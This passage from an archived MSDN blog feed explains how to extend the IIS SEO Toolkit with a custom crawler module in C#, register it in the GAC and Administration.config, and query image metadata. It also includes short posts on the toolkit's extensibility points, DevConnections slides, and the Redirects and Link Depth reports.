&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;return&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;true;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;internal&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;class&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;SampleCrawlerModule&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;:&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Module&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;protected&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;override&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;void&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Initialize(IServiceProvider&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;serviceProvider,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ModuleInfo&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;moduleInfo)&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;base&lt;/FONT&gt;&lt;FONT color=#000000&gt;.Initialize(serviceProvider,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;moduleInfo)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;IExtensibilityManager&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;em&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;(IExtensibilityManager)GetService(&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;typeof&lt;/FONT&gt;&lt;FONT color=#000000&gt;(IExtensibilityManager))&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;em.RegisterExtension(&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;typeof&lt;/FONT&gt;&lt;FONT color=#000000&gt;(CrawlerModule),&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;new&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;ImageExtension())&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt; &lt;/DIV&gt;
&lt;P&gt;This code defines a standard UI IIS Manager module and in its client-side initialize method it uses the IExtensibilityManager interface to register the new instance of the Image extension. This will make it visible to the Site Analysis feature.&lt;/P&gt;
&lt;H3&gt;Testing it&lt;/H3&gt;
&lt;P&gt;To test it we need to add the UI module to Administration.config, that also means that the assembly needs to be registered in the GAC. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;To Strongly name the assembly&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;In Visual Studio, you can do this easily by using the menu "Project-&amp;gt;Properties", and select the "Signing" tab, check the "Sign the assembly", and choose a file, if you don't have one you can easily just choose New and specify a name.&lt;/P&gt;
&lt;P&gt;After this you can compile and now should be able to add it to the GAC. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;To GAC it&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;If you have the SDK's you should be able to call it like in my case:&lt;/P&gt;
&lt;P&gt;"\Program Files\Microsoft SDKs\Windows\v6.0A\bin\gacutil.exe" /if SampleCrawlerModule.dll &lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;(Note, you could also just open Windows Explorer, navigate to c:\Windows\assembly and drag &amp;amp; drop your file in there, that will GAC it automatically).&lt;/P&gt;
&lt;P&gt;Finally to see the right name that should be use in Administration.config run the following command:&lt;/P&gt;
&lt;P&gt;"\Program Files\Microsoft SDKs\Windows\v6.0A\bin\gacutil.exe" /l SampleCrawlerModule&lt;/P&gt;
&lt;P&gt;In my case it displays:&lt;/P&gt;
&lt;P&gt;SampleCrawlerModule, Version=1.0.0.0, Culture=neutral, PublicKeyToken=6f4d9863e5b22f10, …&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Finally register it in Administration.config&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;Open Administration.config in Notepad using an elevated instance, find the &amp;lt;/moduleProviders&amp;gt; and add a string like the one below but replacing the right values for Version and PublicKeyToken:&lt;/P&gt;
&lt;DIV class=code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;add&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="SEOSample"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; type&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="SampleCrawlerModule.SampleCrawlerModuleProvider, SampleCrawlerModule, &lt;EM&gt;&lt;FONT color=#8080c0&gt;Version=1.0.0.0, Culture=neutral, PublicKeyToken=6f4d9863e5b22f10&lt;/FONT&gt;&lt;/EM&gt;"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt;&lt;/FONT&gt; &lt;/DIV&gt;
&lt;H3&gt;Use it&lt;/H3&gt;
&lt;P&gt;After registration you now should be able to launch IIS Manager and navigate to Search Engine Optimization. Start a new Analysis to your Web site. Once completed if there are any violations you will see them correctly in the Violations Summary or any other report. For example see below all the violations in the "Images" category.&lt;/P&gt;
&lt;P&gt;&lt;A href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_2.png" mce_href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_2.png"&gt;&lt;IMG style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title=image border=0 alt=image src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_thumb.png" width=244 height=187 mce_src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_thumb.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;P&gt;Since we also extended the metadata by including the new fields (Image Width, Image Height, and Image Pixel Format) now you can use them with the Query infrastructure to easily create a report of all the images:&lt;/P&gt;
&lt;P&gt;&lt;A href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_4.png" mce_href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_4.png"&gt;&lt;IMG style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title=image border=0 alt=image src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_thumb_1.png" width=244 height=187 mce_src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_thumb_1.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;P&gt;And since they are standard fields, they can be used in Filters, Groups, and any other functionality, including exporting data. So for example the following query can be opened in the Site Analysis feature and will display an average of the width and height of images summarized by type of image:&lt;/P&gt;
&lt;DIV class=code&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;?xml&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; version&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="1.0"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; encoding&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="utf-8"?&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;query&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; dataSource&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="urls"&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;filter&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;expression&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; field&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="ContentTypeNormalized"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; operator&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Begins"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; value&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="image/"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp; &amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;filter&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;group&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;field&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="ContentTypeNormalized"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp; &amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;group&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;displayFields&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;field&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="ContentTypeNormalized"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;field&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="(Count)"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;field&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Average(iWidth)"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;field&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Average(iHeight)"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp; &amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;displayFields&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;query&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&lt;/FONT&gt; &lt;/DIV&gt;
&lt;P&gt;&lt;A href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_6.png" mce_href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_6.png"&gt;&lt;IMG style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title=image border=0 alt=image src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_thumb_2.png" width=244 height=187 mce_src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_thumb_2.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;P&gt;And of course violation details are shown as specified, including Recommendation, Description, etc:&lt;/P&gt;
&lt;P&gt;&lt;A href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_8.png" mce_href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_8.png"&gt;&lt;IMG style="BORDER-RIGHT-WIDTH: 0px; DISPLAY: inline; BORDER-TOP-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px" title=image border=0 alt=image src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_thumb_3.png" width=220 height=244 mce_src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitCrawlerModuleExtensibility_10038/image_thumb_3.png"&gt;&lt;/A&gt; &lt;/P&gt;
&lt;H2&gt;Summary&lt;/H2&gt;
&lt;P&gt;As you can see extending the SEO Toolkit using a Crawler Module allows you to provide additional information, whether Metadata, Violations or Links to any document being processed. This can be used to add support for content types not supported out-of-the box such as PDF, Office Documents or anything else that you need. It also can be used to extend the metadata by writing custom code to wire data from other system into the report giving you the ability to exploit this data using the Query capabilities of Site Analysis. &lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9927571" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author><category term="IIS" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx" /><category term="IIS Manager" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx" /><category term="SEO" scheme="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx" /></entry><entry><title>IIS SEO Toolkit Extensibility</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/11/23/iis-seo-toolkit-extensibility.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/11/23/iis-seo-toolkit-extensibility.aspx</id><published>2009-11-23T21:46:56Z</published><updated>2009-11-23T21:46:56Z</updated><content type="html">&lt;p&gt;The IIS SEO Toolkit includes a lot of functionality built-in such as built-in violation rules, processing of different content types (like HTML, CSS, RSS, etc) and more, however it might not do all the things that you would need it to do, for example, it might not process a set of documents that you use, or it might not gather all the information that you are interested in while processing a document. The good news is that it includes enough extensibility to let you build on top of its rich capabilities and provide additional ones easily using .NET.&lt;/p&gt;  &lt;p&gt;There are three main extensibility points in this first release, including:&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;Crawler Module&lt;/strong&gt;. This extensibility point allows you to provide your own code to hook to the process of crawling a Web site in the Site Analysis process. Using this extensibility point you can extend the built in set of violation rules with your own. You can also gather additional information such as links or any metadata of a resource, whether directly extracted from the content or from an external system. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Site Analyzer Extension&lt;/strong&gt;. This feature allows you to provide your own set of tasks to be exposed in the Site Analysis user interface. These tasks will be displayed in the main menu bar in the report dashboard. &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Sitemap Extension&lt;/strong&gt;. This class allows you to provide your own set of tasks to be exposed in the Sitemaps, Sitemap and Sitemap Index user interface. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;This is the first of a series of extensibility blog entries for the IIS SEO Toolkit where I will cover all of the extensibility points mentioned above.&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9927567" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author><category term="IIS" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx" /><category term="IIS Manager" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx" /><category term="SEO" scheme="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx" /></entry><entry><title>Slides for IIS – Web Application Gallery presentation at DevConnections</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/11/23/slides-for-iis-web-application-gallery-presentation-at-devconnections.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/11/23/slides-for-iis-web-application-gallery-presentation-at-devconnections.aspx</id><published>2009-11-23T20:55:44Z</published><updated>2009-11-23T20:55:44Z</updated><content type="html">&lt;p&gt;Two weeks ago I presented at DevConnections the talk &amp;quot;AMS10: Developing and Deploying for the Windows Web App Gallery&amp;quot;, here are the slides.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;a href="http://www.carlosag.net/downloads/Aguilar_DevConnections_AMS10_Developing and Deploying for the Windows Web App Gallery.zip" target="_blank"&gt;Download the Web Application Gallery Talk slides here.&lt;/a&gt; &lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;A few final links:&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Microsoft Web Platform: &lt;a title="http://www.microsoft.com/web/" href="http://www.microsoft.com/web/"&gt;http://www.microsoft.com/web/&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Download Web PI: &lt;a title="http://www.microsoft.com/web/downloads/platform.aspx" href="http://www.microsoft.com/web/downloads/platform.aspx"&gt;http://www.microsoft.com/web/downloads/platform.aspx&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Submit your Applications at: &lt;a title="http://www.microsoft.com/web/gallery/developer.aspx" href="http://www.microsoft.com/web/gallery/developer.aspx"&gt;http://www.microsoft.com/web/gallery/developer.aspx&lt;/a&gt;&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9927528" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author><category term="IIS" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx" /></entry><entry><title>IIS SEO Toolkit - New Reports (Redirects and Link Depth)</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/11/18/iis-seo-toolkit-new-reports-redirects-and-link-depth.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/11/18/iis-seo-toolkit-new-reports-redirects-and-link-depth.aspx</id><published>2009-11-18T23:33:00Z</published><updated>2009-11-18T23:33:00Z</updated><content type="html">&lt;p&gt;In the new version of the IIS SEO Toolkit we added two new reports that are very interesting, both from an SEO perspective as well as from user experience and site organization. These reports are located in the Links category of the reports&lt;/p&gt;  &lt;h2&gt;Redirects&lt;/h2&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;This report shows a summary of all the redirects that were found while crawling the Web site. The first column (Linking-URL) is the URL that was visited that resulted in redirection to the Linked-URL (second column). The third column (Linking-Status code) specifies what type of redirection happened based on the &lt;a href="http://msdn.microsoft.com/en-us/library/system.net.httpstatuscode.aspx" target="_blank"&gt;HTTP status code&lt;/a&gt; enumeration. The most common values will be MovedPermanently/Moved which is a 301, or Found/Redirect which is a 302. The last column shows the status code for the final URL so you can easily identify redirects that failed or that redirected to another redirect.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitNewReportsRedirectsandLinkD_149A6/image_2.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitNewReportsRedirectsandLinkD_149A6/image_thumb.png" width="484" height="346" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;h3&gt;Why should you care&lt;/h3&gt;  &lt;p&gt;This report is interesting because Redirects might affect your Search Engine rankings and make your users have the perception that your site is slower. For more information on Redirects see: &lt;a href="http://blogs.msdn.com/carlosag/archive/2009/06/12/redirects-301-302-and-iis-seo-toolkit.aspx" target="_blank"&gt;Redirects, 301, 302 and IIS SEO Toolkit&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;h2&gt;Link Depth&lt;/h2&gt;  &lt;p&gt;This is probably one of my favorite reports since it is almost impossible to find this type of information in any other 'easy' way.&lt;/p&gt;  &lt;p&gt;The report basically tells you how hard it is for users that land in your home page to get to any of the pages in your site. For example in the image below it shows that it takes 5 clicks for a user to get from the home page of my site to the XGrid.htc component.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitNewReportsRedirectsandLinkD_149A6/image_4.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitNewReportsRedirectsandLinkD_149A6/image_thumb_1.png" width="484" height="346" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;This is very valuable information because you will be able to understand how deep your Web site is, in my case if you were to walk the entire site and layout its structure in a hierarchical diagram it would basically be 5 levels deep. Remember, you want your site to be shallow so that its easily discoverable and crawled by Search Engines. &lt;/p&gt;  &lt;p&gt;Even more interesting you can double click any of the results and see the list of clicks that the user has to make it to get to the page.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitNewReportsRedirectsandLinkD_149A6/image_6.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitNewReportsRedirectsandLinkD_149A6/image_thumb_2.png" width="436" height="484" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Note that it shows the URL, the Title of the page as well as the Text of the Link you need to click to get to the Next URL (the one with a smaller index). So as you can see in my case the user needs to go to the home page, click the link with text &amp;quot;XGrid&amp;quot;, which takes it to the /XGrid/ url (index 3) which then needs to click the link with text &amp;quot;This is a new...&amp;quot;, etc.&lt;/p&gt;  &lt;p&gt;Note that as you select the URLs in the list it will highlight in the markup the link that takes you to the next URL.&lt;/p&gt;  &lt;p&gt;The data of this report is powered by a new type of query we called Route Query. The reason this is interesting is because you can customize the report to add different filters, or change the start URL, or more.&lt;/p&gt;  &lt;p&gt;For example, lets say I want to figure out all the pages that the user can get to when they land in my site in a specific page, say &lt;a title="http://www.carlosag.net/Tools/XGrid/editsample.htm" href="http://www.carlosag.net/Tools/XGrid/editsample.htm"&gt;http://www.carlosag.net/Tools/XGrid/editsample.htm&lt;/a&gt;:&lt;/p&gt;  &lt;p&gt;In the Dashboard view of a Report, select the option 'Query-&amp;gt;New Routes Query'. This will open a new Query tab where you can specify the Start URL that you are interested.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitNewReportsRedirectsandLinkD_149A6/image_8.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitNewReportsRedirectsandLinkD_149A6/image_thumb_3.png" width="484" height="346" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;As you can see this report clearly shows that if a user visits my site and lands on this page they will basically be blocked and only be able to see 8 pages of the entire site. This is a clear example on where a link to the Home page would be 